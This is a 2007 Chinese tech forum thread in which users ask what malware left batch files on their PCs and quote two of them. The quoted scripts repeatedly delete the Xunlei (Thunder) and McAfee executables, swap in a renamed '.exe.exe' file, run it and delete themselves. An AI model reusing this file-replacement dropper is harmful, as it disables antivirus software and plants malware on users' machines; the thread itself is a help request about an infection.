热点科技

标题: [求助] 请问这是什么毒 [打印本页]

作者: wawlpyangyang 时间: 2007-3-19 15:40
标题: [求助] 请问这是什么毒
请问这是什么毒
在E:\Program Files\下有一个.bat文件
打开如下

:try1
Del "E:\Program Files\Thunder\Thunder.exe"
if exist "E:\Program Files\Thunder\Thunder.exe" goto try1
ren "E:\Program Files\Thunder\Thunder.exe.exe" "Thunder.exe"
if exist "E:\Program Files\Thunder\Thunder.exe.exe" goto try2
"E:\Program Files\Thunder\Thunder.exe"
:try2
del ".bat"

相似的bat文件在用户名目录下的临时文件夹里以$$xx.bat的形式出现(xx为任意字母或数字)
不同之处在于删除mcupdate.exe
现在mcafee8.5i(16日的病毒库)无法用右键来查杀.

作者: liu1000000000 时间: 2007-3-19 15:45
不清楚。好像跟迅雷有关哦

作者: peopleking 时间: 2007-3-19 15:56
现在可以肯定的是mcafee的更新程序和迅雷都被破坏掉了.
一运行thunder.exe和mcupdate就会查出wincab.sys和u.sys两个毒,显示被删;cpu使用率升至100%,登出后再登入才会降下来

作者: piaozi2008 时间: 2007-3-19 15:56
下载文件的时候有时就会有个隐藏的这个文件,很奇怪,卡巴也不报毒,我一般都删掉的.

作者: wanasa 时间: 2007-3-19 15:59
:try1
Del "E:\Program Files\McAfee\VirusScan Enterprise\shcfg32.exe"
if exist "E:\Program Files\McAfee\VirusScan Enterprise\shcfg32.exe" goto try1
ren "E:\Program Files\McAfee\VirusScan Enterprise\shcfg32.exe.exe" "shcfg32.exe"
if exist "E:\Program Files\McAfee\VirusScan Enterprise\shcfg32.exe.exe" goto try2
"E:\Program Files\McAfee\VirusScan Enterprise\shcfg32.exe"
:try2
del ".bat"

在咖啡的目录下发现的

作者: abcd23456 时间: 2007-3-19 16:00

恶意程序...

欢迎光临热点科技 (http://www.itheat.com/activity/)